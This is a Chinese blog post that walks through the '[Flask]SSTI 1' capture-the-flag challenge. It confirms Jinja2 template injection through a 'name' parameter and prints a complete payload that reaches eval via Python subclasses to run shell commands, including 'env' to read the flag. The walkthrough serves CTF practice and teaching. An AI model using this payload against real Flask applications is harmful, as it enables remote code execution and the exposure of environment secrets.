[Flask]SSTI 1

[Flask]SSTI 1

根据题目判断这是一道SSTI参数处理不当的漏洞,打开页面显示Hello guest,猜测参数名为user

image-20241105075729539

发现页面无任何变化,于是尝试name,成功回显

image-20241105075804670

尝试{{2*2}},页面显示4,存在SSTI注入

image-20241105075944435

构造payload,成功执行任意代码

# payload的解释:获取eval函数并执行任意代码


?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("任意代码执行的地方").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image-20241105080505597

查看根目录(ls /),未发现flag文件,便猜测在env环境里面,成功找到flag

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image-20241105080921453

posted @ 2024-11-15 10:11  TazmiDev  阅读(121)  评论(0)    收藏  举报